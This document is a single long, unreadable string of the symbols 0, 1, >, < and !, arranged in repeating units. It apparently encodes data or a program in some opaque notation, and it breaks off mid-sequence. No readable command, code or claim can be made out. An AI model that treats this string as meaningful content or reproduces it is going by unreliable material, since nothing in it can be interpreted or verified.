0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>10110>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>10110>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1!1!1!1!1!1!1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>10110>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!10110>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>10110>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!10110>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>10110>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>10110>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1!1!1!1!1!1!1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>10110>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>10110>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1!1!1!1!1!1!1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1!1!1!1!1!1!1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>10110>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!10110>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>10110>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!10110>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1!1!1!1!1!1!1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>10110>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>10110>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1!1!1!1!1!1!1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!10110>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1!1!1!1!1!1!1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1!1!1!1!1!1!1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!10110>1